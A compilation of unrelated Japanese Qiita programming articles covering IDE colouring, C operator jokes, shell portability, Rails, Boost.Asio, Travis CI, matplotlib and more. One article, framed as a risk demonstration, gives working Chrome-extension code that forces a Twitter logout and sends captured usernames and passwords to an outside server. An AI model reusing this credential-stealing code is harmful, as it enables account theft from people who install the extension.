OmniAICreator/Qiita-1.07M huggingface dataset:
あなたのVisualStudioをセマンティックなカラフルに

# C#エディタ

なにはともあれ、スクリーンショットをごらんください。

![color .png](https://qiita-image-store.s3.amazonaws.com/0/120077/efd5c886-3305-18ca-afec-5c539553884a.png)

左がバニラ、右が拡張後です。

- SemanticColorizer
- Viasfora

2つのVisualStudio拡張でVisualStudioをカラフルにできます。
ただカラフルになって楽しむだけでなく、
セマンティックに色分けをすることで、コードの理解にも一役かってくれます。

呼び出す時にしばしば間違う
ローカル変数・フィールド・プロパティ
普通のメソッド・静的メソッド・拡張メソッド
の区別ができます。

しばしば議論になるfieldに"_"を付けるかべきかは
この機能でセマンティックに判別出来るので不要だと思います。

Expression-Bodiedで書かれたメソッドと読み取り専用プロパティは()の有無でしか区別できませんが、色がはっきり違うと分かりやすいです。

##Rainbow Braces
![スクリーンショット 2017-04-08 17.33.32.png](https://qiita-image-store.s3.amazonaws.com/0/120077/44c65b24-3186-e63f-9d6f-15c5011f4d3a.png)
これはViasforaの機能ですが、色から対応する括弧が区別できます。
余分な括弧の背景色が強調されています。

#XAMLエディタ
![スクリーンショット 2017-04-08 16.42.48.png](https://qiita-image-store.s3.amazonaws.com/0/120077/7b943c6b-8411-80db-c054-db942c7cd46e.png)
XAMLエディタもカラフルにできます。
Closeタグは正直なくてもいいと思っているので、背景色に近くしてしまいました。
Bindingは大事なので目立つ色に。

#導入方法
[SemanticColorizer - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=AndreasReischuck.SemanticColorizer)

[Viasfora - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=TomasRestrepo.Viasfora)

2つのVisualStudio拡張をインストールします。
ツール＞オプション＞環境＞フォントおよび色＞で色を設定します。
関係ありそうな設定と調べた限りの解説です。


| 設定名 |   解説   | コード例 |
|:---:|:---:|:---:|
|Viasfora Flow Control Keyword|コードフロー関係|**if**, **return**|
|Viasfora XML Closing Tag|XML(XAML)のCloseタグ| </**Grid**>  |
|Viasfora XML Prefix Closing|XML(XAML)のCloseタグのプレフィックス|</**local**:~>|
||||
|Semantic Constructor|不明||
|Semantic Enum Field|列挙体値|Color.**Black**|
|Semantic Extension Method|拡張メソッド| .**Select**(x =>|
|Semantic Field|フィールド|privateField（上スクリーンショット）|
|Semantic Local|ローカル変数|local（上スクリーンショット）|
|Semantic Namespace|名前空間|using **System**;|
|Semantic Normal Method|通常メソッド|**InitializeComponent**();|
|Semantic Normal Type|不明||
|Semantic Parameter|メソッドの引数やラムダ式の一字変数|static void Main(string[] **args**)|
|Semantic Property|プロパティ|Property（上スクリーンショット）|
|Semantic Special Type|不明||
|Semantic Static Method|静的メソッド|Console.**WriteLine**()|
|Semantic Type Parameter|不明||

めんどうだったらSemanticColorizerのページに[設定ファイル](https://github.com/hicknhack-software/semantic-colorizer/files/763058/arBmind_InputMono_Viasfora_SemanticColorizer_Dark.zip)があります。
上のスクリーンショットの色は自前で調整しました。

#注意点
PrivateとPubulicで色の区別はできません。
また公式ページではコンストラクタの色は別になっており、設定にもあるのですが、
私の環境では普通のメソッドの色が適用されてしまいます。
Blendを使用した際にVSの設定が変になることがありました。
拡張メソッドは強制的にイタリック体になります。力技ですが、イタリック体の無いFontを指定することで回避することもできます。

## VisualStudio15.7不具合(2018/05/14 追記)
~~VSの15.7以降では一部に不具合が発生するようです。~~
semantic-colorizer Ver 1.3.0で解決しました。

https://github.com/hicknhack-software/semantic-colorizer/issues/16

#環境
VisualStudio2015
VisualStudio2017
.NET Framework 4.6
C#6
フォントはFira Code Light

# Visual Studio 2022版

 Visual Studio 2022版を書きました。SemanticColorizerは使用しなくなります。

https://qiita.com/soi/items/378bbe7b21bab3d82e2b
C言語の小ネタ集

# URL直書き
```text:direct_url.c
void complex_algorithm()
{
  https://en.wikipedia.org/wiki/Complex_Algorithm
  /*
   * 複雑なアルゴリズムのコード
   */
}
```

# --> 演算子(1)
```c:goto_operator1.c
#include <stdio.h>

int main()
{
  int n = 5;
  do {
    printf("%d ", n);
  } while (n --> 1);
  printf("done!\n");
}
```

```text:実行結果
5 4 3 2 1 done!
```


# --> 演算子(2)
```c:goto_operator2.c
#include <stdio.h>

int main()
{
  int n = 10;
  while (n --\
              \
               \
                \
                 > 1)
    printf("%d ", n);
}
```

```text:実行結果
9 8 7 6 5 4 3 2 1 
```


# ??!??! 演算子

```c:magic_operator.c
#include <stdio.h>

int magic_operator(int a, int b)
{
  return a ??!??! b;
}

int main()
{
  int r = magic_operator(42, 0);
  printf("result = %d\n", r);
}
```

```text:実行結果
result = 1
```


# -=- 演算子

```c:balance_operator.c
#include <stdio.h>

int main()
{
  int i;
  for (i = 0; i < 10; i -=- 1) {
    printf("%d ", i);
  }
}
```

```text:実行結果
0 1 2 3 4 5 6 7 8 9 
```

# べき乗演算子

```c:pow_operator.c
#include <stdio.h>

int main()
{
  printf("%d", 50 ** "2");
}
```

```text:実行結果
2500
```
Linux と FreeBSD, macOS でコマンドが異なる問題にどう対処するか

Linux (GNU coreutils) と FreeBSD, macOS でコマンドが違うことにより、シェルスクリプトにおいてスクリプトが実行される環境を考慮する必要がある。例えばファイルの最終更新日時を取得したいとして `stat` を利用したいが、`stat` の出力フォーマットを指定するフラグは GNU coreutils と FreeBSD, macOS で異なる。

前提として Perl や Python で書けというのもその通りだと思うが、bash や zsh のプラグインなどどうしてもシェルスクリプトでないとダメなことはある。自分で書いて自分で使うだけなら些細な問題だが、他人に共有されるとなるとそうもいかない。

## TL;DR

- シンタックスの違いを利用する (stat)
- 同一のシンタックスを持つコマンドで代用する (openssl)

## 方法その1 uname によって環境を判定する

もっともよくある対処方法として `uname` による判定がある。

```bash
case "$(uname)"; in
  Linux)
    # GNU coreutils
  ;;
  Darwin)
    # macOS
  ;;
esac
```

これはひとつ大きな問題があって、macOS で GNU coreutils を使っているとそもそも環境による判定は失敗してしまう。まさに自分も自分が使うシェルスクリプトは GNU coreutils 前提にしたくて使ってしまっている。以上により、環境によって判定するのはあまりよろしくない。

## 方法その2 シンタックスの違いを利用する

例えば `stat` であれば `--help` フラグは GNU coreutils にしか存在しないため、これを実行したときの終了コードによって判定できる。

```bash
if stat --help >/dev/null 2>&1; then
  modified_time_fmt="-c%y" # GNU coreutils
else
  modified_time_fmt="-f%m" # FreeBSD, macOS
fi

stat $modified_date_fmt /path/to/file # It works!
```

これは環境によって判定しないため macOS で GNU coreutils を使っているなどの場合においてもうまくいくのだが、そもそも判定せずに使えるのならそれがベストである。

## 方法その3 同一のシンタックスを持つコマンドで代用する

md5 を取得したい。GNU coreutils では `md5sum` が使えるが、macOS, FreeBSD にこのコマンドは存在せず `md5` を使う必要がある。

この場合 `openssl` の利用を選択できる。`openssl` は OpenSSL のコマンドラインユーティリティなのでバージョンによる違いはあれど環境による違いはない。

```
$ openssl md5 file
MD5(file)= d41d8cd98f00b204e9800998ecf8427e
```

この方法は `openssl` がインストールされていることを前提としているため、他の方法とは利用できる条件が異なっているが、ひとつの選択肢として考慮できる。

## まとめ

シェルスクリプトは実行環境の違いによる問題があるため、利用する場合も小さいものに留めたほうがよい。
LaravelでhasManyの関係あるテーブルにsaveManyで一括挿入



```php
$post = App\Post::find(1);

for($i = 0; $i < count($request->comments); $i++) {
	$comments[] = new App\Post([
		'name'		=> $request->name[$i],
		'comment' 	=> $request->comment[$i] 
	]);
}

$post->comments()->saveMany($comments);
```
Quiverのショートカット一覧

# はじめに

半年前から [HappenApps/Quiver](https://github.com/HappenApps/Quiver) を購入しメモ帳アプリとして利用しています。
以前までは [Kobito](http://kobito.qiita.com/) や [Bear](http://www.bear-writer.com/) といったものを利用していましたが、今はQuiverに一旦落ち着いています。

## 個人的にメモ帳アプリにあって欲しい機能

1. マークダウンで書ける
2. 一つのメモ自体ををポップアップして表示できる
3. DropBoxやOneDriveなどでファイルを共有ができる
4. 全文検索機能がある

* Bearは **2** ができなかった。
* Kobitoは基本的に全て条件を満たしていたが、アプリとして挙動が不安定なときがあった。
    * 特にプレビューの表示が入力している位置へスクロールしない事がよくあった

上記のことからQuiverにして約半年とてもいい感じに使えています。

# Quiverショートカット一覧

Quiverはプログラマ向けを謳っているので結構ショートカットとかも充実しています。
ただ、まだ慣れていないので、よく使っているショートカットを備忘録的に書いておこうかなと思います。

|キー|概要|
| :---: | :--- |
|⌘f|開いているNote内の文字列を検索する|
|⌘g|次の検索候補に進む|
|⌘⇧g|前の検索候補に進む|
|⌘⌥f|キーワードで検索して1つのNoteBookを表示する|
|`⌘j`|ジャンプ機能 NoteBookやタグをインクリメンタルサーチして一覧表示する|
|⌘'|tagの入力フィールドに移動する|
|⌘n|新しいNoteを作成する|



# 終わりに

以下のような記事にもある通り自分でプレビューのCSSとかをカスタマイズすればプレビューの表示もだいぶ見やすくなります。
[Quiver で 見た目をカスタマイズする - Qiita](http://qiita.com/yamagen0915/items/906f601a4f43f9999f2c)
Quiverは今のところは過不足なく使えてとてもいいです。
find でのディレクトリの削除

# 元ネタ

[これ](http://unix.stackexchange.com/questions/115863/delete-files-and-directories-by-their-names-no-such-file-or-directory) 

# シンプルなやりかた

何も考えないでやると

```console
$ find . -type d -name .svn -exec rm -rf {} \;
```

この方法だと、以下のようにエラーが発生する

```console
find: ./hoge/.svn: No such file or directory
find: ./fuga/.svn: No such file or directory
```

# エラーを取り除く

-prune オプションを追加する。

```console
$ find . -type d -name .svn -prune -exec rm -rf {} \;
```

# 効率よく削除する

rm は引数に複数のディレクトリを指定できるが、上記コマンドだと一つづつ指定される。`;` を `+` に変更して、マッチしたディレクトリ全体が渡るようにする。

```console
$ find . -type d -name .svn -prune -exec rm -rf {} +
```
Rails5.0.1で非同期(Ajax）のテストの書き方が変更されたようなので、メモ。


Railsで非同期処理のテストをしようとしたところ、google先生を頼りに

railsu```Ruby 
xhr :patch, race_path(@race),  race: { nickname: new_name }
```

と書いたら、

```Bash
DEPRECATION WARNING: `xhr` and `xml_http_request` are deprecated and will be removed in Rails 5.1.
Switch to e.g. `post comments_path, params: { comment: { body: 'Honey bunny' } }, xhr: true`.
```

とか怒られたので、言われるがままに

```Ruby
patch race_path(@race), params: { race: { nickname: new_name } }、:xhr => true
```

としてみたところ、テストが通るようになった。
 
でも、これでは黒魔術っぽいので、

```ruby
patch( race_path(@race), {'xhr' => true, 'params' => { 'race' => { 'nickname' => new_name } } } )
```

とか書くと余計解り辛い？
patchメソッドに渡す引数は二つ、URLとHashの二つ、URLは`race_path(@race) => /race/` で、Hashは`hash => {:xhr,:params}`から構成されていている。
Hashの最初の項目、xhrのtrueは一目瞭然。

次のparamsと言うHashはraceと言うHashを持っていって、raceというHashは`nickname: new_name`という構成になってすよと。

解り辛ぇ（＾＾；

xhrを最初に持ってきたら、なんか読みやすくなった気はするれど、Hashの階層深くね？
asio::async_read_until と asio::async_read の同時利用でハマった話

boost::asioで簡単なhttpサーバーを作ったとき
以下のようなコードを書いたのだが

````C++

void connection_rountine(asio::yield_context yield, tcp::socket s, std::function<void(int, std::wstring)> funcCallback)
{
	try {
		for (;;) {
			boost::system::error_code ec;
			asio::streambuf buf;
			std::string str;

			auto const n = asio::async_read_until(s, buf, "\r\n\r\n", yield[ec]);
			if (ec) break;

			// ヘッダ読み込み
			str.assign(asio::buffer_cast<const char*>(buf.data()), n);
			buf.consume(n);

			std::smatch result;
			if (std::regex_search(str, result, std::regex("Content-Length: (\\d+)")) == false) {
				throw std::runtime_error("no content-length");
			}
			int contentLength = std::stoi(result[1].str());

			// ボディ読み込み 
			auto const n1 = asio::async_read(s, buf, asio::transfer_exactly(contentLength), yield[ec]);	// #1
			std::string body(asio::buffer_cast<const char*>(buf.data()), n1);
			buf.consume(n1);

			// レスポンス送信
			asio::async_write(s, asio::buffer("HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok"), yield[ec]);
			if (ec) break;

			s.close();

			break;
		}
	}
	catch (std::exception& e) {
		//ATLASSERT(FALSE);
		ATLTRACE("error : %s\n", e.what());
	}
}
````

ボディ読み込みの #1の部分で止まってしまった
で、原因を調べてみると asio::async_read_until を呼んで帰ってきたときに buf に入ってるバッファの量(buf.size())と戻り値 n の数値が一致しない (bufに入っている量の方が大きい) ことが分かった
どうやら、次の asio::async_read は、buf.consume(n);で実際にバッファを消費した分ではなく、もうすでにbufに入ってるバッファの量を考慮して、そのあとのデータを読み込もうとしてしまうので、asio::transfer_exactly(contentLength) を指定して正確なバイト分を待機してもらおうとする場合、こっちの意図とは違って待機してしまうようだ
自分の意図としては、asio::async_read_until の戻り値と buf のサイズが一致していると思っていたのだが、そうではなかったようでハマってしまった
UIPickerViewのタイトルがでなくてハマった。

titleForRowが呼ばれなくてハマりました。タイトルが全部?になってました。

```swift:Test.swift
picker.dataSource = self
picker.delegate = self
```

delegateとかはちゃんとセットされているのになぁ。

原因はメソッドにありました！Swift3.0からはパラメーターに_を入れないとだめみたい。

```swift:Test.swift
func pickerView(_ namePickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int {
     return LIST.count
}
    
   
func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? {
     return LIST[row]
}
```
マリオAIコンテスト2009を動かす

![screen1.png](https://qiita-image-store.s3.amazonaws.com/0/64334/eae3d5eb-aec7-9cfa-5046-44b4a33844a7.png)
かなり古いコンテストです。

元のドキュメント
http://julian.togelius.com/mariocompetition2009/index.php
ソースはこっち
https://github.com/miyamotok0105/Mario_AI_Competition2009

かなり昔ですがコンテストに賞金がかかってたようです。2009より最近のには2012などソースがありますが、今回動かすのは2009です。


```bash:
git clone https://github.com/miyamotok0105/Mario_AI_Competition2009.git
cd Mario_AI_Competition2009
cd classes    
```

この辺りのキーで動かす。
aでファイヤーボール
sでジャンプ

```bash:
java ch.idsia.scenarios.Play
```

ハードコーディングされたエージェント

```bash:
java ch.idsia.ai.agents.ai.ForwardAgent
```

Evolves a neural-networkを使用したエージェント


```bash:
java ch.idsia.scenarios.Evolve
```

学習済みのEvolves a neural-networkを使用したエージェント


```
java ch.idsia.scenarios.Play evolved.xml
```

```
Generation 42 best 4256.0
Saved object to evolved.xml
New Evolve phase with difficulty = 3 started.
Generation 0 best 203.0
Saved object to evolved.xml
Generation 1 best 203.0
Saved object to evolved.xml
Generation 2 best 203.0
Saved object to evolved.xml
Generation 3 best 1988.827880859375
Saved object to evolved.xml
Generation 4 best 1988.827880859375
```


学習済みのモデルをテストする

```
java ch.idsia.scenarios.Stats evolved.xml 0
```

```
evolved.xml is not a class name; trying to load a wox definition with that name.
Testing controller ch.idsia.ai.agents.ai.TimingAgent@1540e19d with starting seed 0
Level 0 paused 1954.2714 (1295.0748) (min 187.0000 max 4416.0000) (avg time 0.0059)
Level 0 unpaused 1884.6723 (1229.8604) (min 187.0000 max 4416.0000) (avg time 0.0060)
Level 3 paused 960.4513 (711.0572) (min 187.0000 max 3131.0000) (avg time 0.0058)
Level 3 unpaused 867.7268 (558.1026) (min 187.0000 max 2585.9712) (avg time 0.0058)
Level 5 paused 761.8549 (611.3345) (min 171.0000 max 3131.0000) (avg time 0.0062)
Level 5 unpaused 688.5305 (417.8540) (min 171.0000 max 2123.0000) (avg time 0.0056)
Level 10 paused 559.0084 (336.2721) (min 171.0000 max 1756.2860) (avg time 0.0056)
Level 10 unpaused 591.0350 (359.7197) (min 171.0000 max 2108.2000) (avg time 0.0056)
Stats sum: 8267.550514526365
```



#その他
マリオの深層強化学習
https://github.com/aleju/mario-ai
Travis CI + s3でデプロイしてみた。

Travis CIからs3にデプロイした時に、詰まったのでメモ。

##Travis CIとは
「継続的インテグレーション（CI）」ツール。
あらかじめ指定したgithubのレポジトリに、コードをpushすると、自動でテストを行ってくれる。
テストが成功すれば指定したホスティングサービスにデプロイもしてくれる。失敗するとメール等で通知してくれる、テスト自動化ツール。


##手順

###前提条件
・GitHub のアカウントを持っている
・GitHub にリポジトリを持っている 
・Travis CI のアカウントを持っている
・Travis CI の CLI をインストールしている (gem install travis)
・AWS のアカウントを持っている
・s3の更新権限を持ったアクセスIDとSecrete keyをIAMで作っている。
・s3のバケットを、静的サイトをしてホスティングしている。


1.https://travis-ci.org/ にログインして当該リポジトリをONにする。
2.ローカルのプロジェクトフォルダで、```$ touch .travis.yml```
3.```$Travis encrypt "アクセスキーID" ```と```$Travis encrypt "シークレットアクセスキー" ```で、ターミナルに出てきた、```secure: "..."```を.travis.ymlに貼り付ける。

````.travis.yml
language: node_js
script: echo "do nothing"
deploy:
  provider: s3
  access_key_id:
    secure: "アクセスキーID"
  secret_access_key:
    secure: "シークレットアクセスキー"
  bucket: s3-website.shikumi-zukuri.com
  region: us-east-1
  endpoint: s3.amazonaws.com
  on:
    branch: master
```

4.```git add .```、```git commit```、```git push```する。

これで、Travis CIが、自動でテストを実行してくれ指定したs3バケットに、htmlとかのファイルをデプロイしてくれる。

参考
公式ドキュメント
[Travis CIs3 Deployment](https://docs.travis-ci.com/user/deployment/s3/)
[Travis CI for Complete Beginners](https://docs.travis-ci.com/user/for-beginners)

その他
[# travis-ciからAmazon S3へファイルをデプロイする](http://qiita.com/numa08/items/a18501892d3ba0e995fa)
[GitHub + Travis CI + Amazon S3 で git push で更新されるサイトをつくった](http://bouzuya.hatenablog.com/entry/2014/05/20/193328)

[サンプルコード(github)](https://github.com/naogify/travis_s3)
peco で history からインクリメンタル検索するやつ

`.zshrc` で以下のように設定してる

```bash
# peco で history を検索する
function peco-history-selection() {
    BUFFER=`fc -l -n 1 | tail -10000 | sort | uniq | peco --query "$LBUFFER"`
    CURSOR=$#BUFFER
    zle clear-screen
}

zle -N peco-history-selection
bindkey '^R' peco-history-selection
```
AndroidStudio2.3で「waiting for target device to come online」がでてエミュレータが動かない時の対処法

AndroidStudioを2.3にアップデートしたら「waiting for target device to come online」がでてエミュレータが動かなくなったので、その時の直し方を残しておきます。

#### 復旧方法
AndroidStudioの公式サイトで最新のAndroidStudioををダウンロードして、既存のファイルに上書きしましょう。この方法で私は解決しました。

#### waiting for target device to come onlineが出た時に試した方法
- エミュレータの仮想イメージの削除　×
- GenyMotionの起動　◯
Chrome拡張の悪用の危険性を試す

# はじめに
前にChrome拡張のマルウェア疑惑で話題になっていたので、今更ですが、その危険性を試してみました。
### 悪用はしないでください。

## Chrome拡張を用いたTwitterアカウントの奪取
身近なTwitterアカウントの奪取を試します。

詳細は書きませんが```manifest.json```の```content_scripts```を使います。

アカウントを取る方法は、対象ユーザがログインした瞬間を狙います。
ですが、すでにログインしている可能性が高いので下記のようなコードで強制ログアウトさせます。

```javascript:demo.js
/**
 * twitterを強制ログアウト
 */
function logout() {
	var signout_btn = document.querySelector('#signout-button .dropdown-link')

	if(signout_btn)
		signout_btn.click()
}
```

ログアウトさせたら、ログインの瞬間発火するイベントにコールバック関数を登録します。
```steal```関数は、テキストボックスの値（user_id & password）を取得し、指定のwebサーバにリクエストを送っています。

```javascript:demo.js
/**
 * アカウントの奪取を待機
 */
function listen() {
	var submit = document.querySelector('.submit')
	,   id     = document.getElementsByName('session[username_or_email]')[0]
	,   passwd = document.getElementsByName('session[password]')[0]

	submit.addEventListener('click', steal, false)

	id.addEventListener('keydown', function(e) {
		if(e.keyCode === 13)
			steal()
	}, false)

	passwd.addEventListener('keydown', function(e) {
		if(e.keyCode === 13)
			steal()
	}, false)
}

/**
 * アカウントの奪取
 */
function steal() {
	var	id     = document.getElementsByName('session[username_or_email]')[0]
	,   passwd = document.getElementsByName('session[password]')[0]

	id     = id.value
	passwd = passwd.value

	var img = new Image()
	img.src = host + '?id=' + id + '&passwd=' + passwd

	// cookie書き込み
	var expire = new Date();
	expire.setTime(expire.getTime() + 1000 * 3600 * 24);
	document.cookie = 'hack=hack; expires=' + expire.toUTCString();
}
```

今回は、PHPのビルドインサーバーをwebサーバーとします。
対象ユーザがログインすると、ユーザIDとパスワードがGETパラメータとして送られてきます。

<img width="610" alt="server.png" src="https://qiita-image-store.s3.amazonaws.com/0/77608/756fe476-48d5-be73-5032-6375860a7088.png">

とても簡単なステップでアカウントの奪取ができました。
対象のユーザにChrome拡張をインストールさえ、させることができればやりたい放題できそうですね。
実際には、ここから難読化とかするんでしょうが、今回は自身で試すだけなのでやりません。

## さいごに
怪しいChrome拡張をインストールしないようにする対策としては、怪しい権限を要求するものはインストールしないとか実際にコードを読むとかでしょうか...

なんども言いますが、今回は危険性を試す為のものなので悪用はしないでください。

manifest.jsonなどは排除していますが、今回のコードは
[https://github.com/yuki540net/chrome-extension-security](https://github.com/yuki540net/chrome-extension-security)
にあります。

コードを確認したい場合はご覧ください。
AdMobの動画広告の音量制限の実装方法

#はじめに
AdMobでは、動画広告の音量の初期値を実装によって指定できます。
基本的にこのページに手順が説明されています。
https://firebase.google.com/docs/admob/ios/global-settings?hl=ja

プロパティへのアクセスの仕方について公式説明の通りにできなかったので、解決方法を備忘のために書きます。(もし私が何か勘違いをしているようでしたら、一言教えていただけると幸いです。)

#初期値の指定
端末音量との相対値0.0(ミュート)〜1.0(現在の端末音量)を指定することが可能です。

実装の仕方については、公式説明によれば、以下のように書けるとされています。

```objc:2017年2月23日付の公式説明の書き方
- (void)viewDidLoad {
  [super viewDidLoad];
  // Set app volume to be half of the current device volume.
  GADMobileAds.applicationVolume = 0.5;
  ...
}
```

しかし、これではプロパティにアクセスできない旨のエラーが出てしまいます。(Property 'applicationVolume' not found on object of type 'GADMobileAds')

実際には、次のようにするとアクセスできました。

```objc:実際に解決できた書き方
 GADMobileAds.sharedInstance.applicationVolume = 0.5;
```

ちなみに、ミュートの指定をするプロパティーのapplicationMutedについても同じです。`GADMobileAds.applicationMuted = YES;`ではなく、`GADMobileAds.sharedInstance.applicationMuted = YES;`としてアクセスできます。


#終わりに
動画広告が表示された時に大音量が突然出始めるとユーザ体験が極めて悪くなります。一方、ミュート(applicationVolume == 0.0 || applicationMuted == YES)の場合、ミュートに適さない広告在庫が表示されないという注意書きが公式説明に書いてあります。
私見では、マイルドな値に設定しておく、というのが最もベターな方法なのではないかと思います。
Qiitaで数式を書きましょう

# TeX式を簡単に作成する

~~https://webdemo.myscript.com/views/math.html#~~

ここで数式を手書きで書くとTeX式に直してくれます

:::note warn
2024/08/18 追記：
こちらにURLが変更になってました
https://webdemo.myscript.com/views/math/index.html

:::


![image](https://qiita-image-store.s3.amazonaws.com/0/139524/f7182c75-f4fe-07a4-6d54-c76f5d514db8.png)


## Qiitaで書く

先のページで作ったLaTeX式をコピーします。

```
f\left( x\right) =\sqrt {ax^{2}+b}


```

この数式をQiitaで書いてみます。



>
>「 TeXで作った式 \$ f\left( x\right) =\sqrt {ax^{2}+b} \$ です 」
>
>

と書くと

「 TeXで作った式 $ f\left( x\right) =\sqrt {ax^{2}+b} $ です 」


となります。

ブロック構文で書くには


>\```math
>
>「 TeXで作った式  f\left( x\right) =\sqrt {ax^{2}+b}  です 」
>
>\```

と書くと

```math

「 TeXで作った式  f\left( x\right) =\sqrt {ax^{2}+b}  です 」

```

となります。

# Atomのように書く
「AtomでMarkdown+数式を利用する」
http://qiita.com/noppefoxwolf/items/335323b98f0400a6f07d
によると、Atom に markdown-preview-plus と mathjax-wrapper をインストールするとこちらでも markdown で数式が使えるそうです。


> 「 TeXで作った式 \$ f\left( x\right) =\sqrt {ax^{2}+b} \$ です 」

この書き方は同じなのですが、ブロック構文は \$\$ 〜 \$\$ で囲む書式になります。

Qiitaではどうなのかな？ 

> 「 TeXで作った式 \$\$ f\left( x\right) =\sqrt {ax^{2}+b} \$\$ です 」

と書いたものは以下の通りです。

「 TeXで作った式 $$ f\left( x\right) =\sqrt {ax^{2}+b} $$ です 」

うまくいきましたね！ この書式は qiita でも使えることがわかりました。こっちの書き方に統一してもいいかもですね。

## インラインで書く

```
ハミルトンは $ i^2=j^2=k^2=ijk=-1 $ 式を彫り、
```
と書くと、

> ハミルトンは $ i^2=j^2=k^2=ijk=-1 $ 式を彫り、

のようになります。
備忘録：Pythonでグラフ凡例のサイズを自動調整する方法

Pythonガリガリ書いている人には常識のことかもしれないですけど
自分の備忘録として書きます。

セキュリティ上の問題で仕事場のPCからデータを一切抜き出せない...
なので、肝心のグラフを載せられてないのですがご容赦ください。

# Pythonでグラフ描画し、pngで保存すると凡例が見切れている場合がある

対策を調査するときの観点

-グラフを予め大きいサイズには設定しない
　　今後他のデータを可視化したときに、同じようなことが発生するのを避ける


## 対策
次のことを試してみました

- 凡例の文字サイズを小さくする

```py:sample.py
import matplotlib.pyplot as plt

plt.legent(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0, fontsize=8)
```

 結果は...

 可視化するデータの種類が多いと、やはり見切れてしまう

- 凡例の位置を自動にする

```py:sample.py
plt.legent(bbox_to_anchor=(1.05, 1), loc='best', borderaxespad=0)
``` 

 結果は...

やっぱり見切れちゃう

- 画像保存時に、"bbox_inches"を指定する

```py:sample.py
plt.savefig('sample.png', bbox_inches='tight')
``` 


結果は...見切れてない！
でも、凡例の数が多いと凡例の大きさに比べてグラフがかなり小さく表示されてしまう...

これを回避する方法はないものか...

ということで、次のことを試しました。

- 凡例を複数列で表示する

```py:sample.py
plt.legent(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0, ncol=2)
``` 

"ncol"で凡例の表示列を指定(この場合は2列表示)
まぁまぁ許容範囲の大きさで表示された。

## まとめ
ここまで、いろいろ試してきましたが、
最終的には次のことをして、凡例が見切れないようにしました。

- グラフのサイズ設定処理を削除
　　　　※元々サイズを指定していたんですけど、削除しちゃいました

```py:sample.py
plt.figure(figsize=(14, 6))
``` 


- 凡例を2列で表示

```py:sample.py
plt.legend(bbox_to_anchor=(1.05, 1), loc='upper left', borderaxespad=0, ncol=2)
```

 
- 画像出力時に"bbox_inches"属性を設定

```py:sample.py
plt.savefig('sample.png', bbox_inches='tight')
```


## 参考URL
[pyplot — Matplotlib 2.0.0 documentation](http://matplotlib.org/api/pyplot_api.html)
[OF] dragEvent ファイルのパスを取得

今回はopenframeworksのdragEventという機能について書いていきたいと思います。
dragEventなんてあったっけ？という方もいられると思いますがofApp.hの下の方にございますので要チェック。
以外と便利なんですよこれが！

#dragEventで何ができるの？
dragしたフォルダの絶対パスを取得することができます。
何のこっちゃ？という方もいるかもしれませんが、パスとはそのフォルダがどこにあるのかという情報です。

C:/User/ユーザー名/~~ ていう感じで書かれるやつですね！

ofImageとかofVideoPlayerとかでファイルを準備するときsetup関数内でファイル名を入力すると思いますが、要はあれもファイルの居場所を教えてあげているということです。
あれはopenframeworks内で自動的にdataフォルダ内を見るように相対パスが設定されているのでファイル名だけの短い文で設定ができるようになってるんですね。
実際に上記のようなC:/User~~から始まるパスで設定してあげてもきちんと参照できるので、もし参照したいファイルがdataフォルダ内に置けないケースがある場合は絶対パスで指定してあげれば問題なしです！

ちょっと話がそれましたが実際に使い方と、何に使えるのかを見ていきましょう！

#使い方
OF標準のdragEvent関数は
"アプリケーションウィンドウにファイルをドラッグ&ドロップする" とよばれる関数です。

```ruby:ofApp.h
void dragEvent(ofDragInfo dragInfo);
```

```ruby:ofApp.cpp
void dragEvent(ofDragInfo dragInfo){

for(int i = 0;i < dragInfo.files.size(); i++){

ofLog() << dragInfo.files[i];

}

ofLog() << dragInfo.position.x;
ofLog() << dragInfo.position.y;
ofLog() << dragInfo.position.z;

}
```

上記をコピペして試しに適当なファイルをドロップしてみてください。
ドロップされたファイルのパスとドロップした位置がコンソール画面に表示されるはずですよ！

なぜfor文で回しているのか疑問に思われましたでしょうか？お察しが良い。
それは複数のファイルをドロップすることを考慮しているからなのです！
試しに複数ファイルを同時にドロップしてみてください。順にパスが表示されていくと思います。


#実用方
範囲内に画像をドロップするとその範囲内にドロップした画像が表示されるプログラムです。

```ruby:ofApp.h

void setup();
void update();
void draw();
void keyReleased(int key);
void dragEvent(ofDragInfo dragInfo);
    
ofImage img;
int posX,posY,width,height;

```

```ruby:ofApp.cpp
//--------------------------------------------------------------
void ofApp::setup(){
    
//位置と大きさ、何でもいいです笑
    posX = 100;
    posY = 100;
    width = 200,
    height = 200;
    
}

//--------------------------------------------------------------
void ofApp::update(){

}

//--------------------------------------------------------------
void ofApp::draw(){
    
    ofNoFill();
    ofSetColor(0);
    ofDrawRectangle(posX, posY, width, height);
    ofFill();

    
    ofSetColor(255);
    if(img.isAllocated()){//画像が読み込めているか確認
        img.draw(posX, posY, width, height);//表示！！
    }
}

//--------------------------------------------------------------
void ofApp::keyReleased(int key){
    if(img.isAllocated()) img.clear();//読み込んだ画像のクリア
}

//--------------------------------------------------------------
void ofApp::dragEvent(ofDragInfo dragInfo){ 

    for(int i =0;i< dragInfo.files.size();i++){
        
//ドロップした位置が指定範囲内かチェックします。
        if(posX <= dragInfo.position.x &&
           posY <= dragInfo.position.y &&
           dragInfo.position.x <= posX + width &&
           dragInfo.position.y <= posX + height)
        {
            img.load(dragInfo.files[i]);//指定範囲内だったら画像を読み込む。

        }
        
    }
    
}
```

これでドラッグ&ドロップで画像を読み込めるプログラムができました。
しかも指定範囲内かどうかもチェックしています！
こういう "一定範囲内ドロップでほにゃららする" みたいなのって意外と需要があったりするので覚えておくと便利ですよ！

もっといいサンプル思いつけばよかったですがまだまだ自分も未熟なので...すみません笑

是非使ってみてください！
自分プログラムめっちゃできるやん...!て気分になれると思いますよ笑(僕はなりました)
Vue.jsで猫検索アプリ作成

# Index
[1.VueCLIでHelloWorld](http://qiita.com/MariMurotani/items/5fbea5942d2edf149989)
[2.Vue.jsでフォームを使おう](http://qiita.com/MariMurotani/items/10702fbcae2997fcae80)
[3.Vue.jsで単一ファイルコンポーネント](http://qiita.com/MariMurotani/items/8694bce9e29e1593a488)
[4.Vue.jsでAPI通信](http://qiita.com/MariMurotani/items/a8576974deeabf9daf6e)
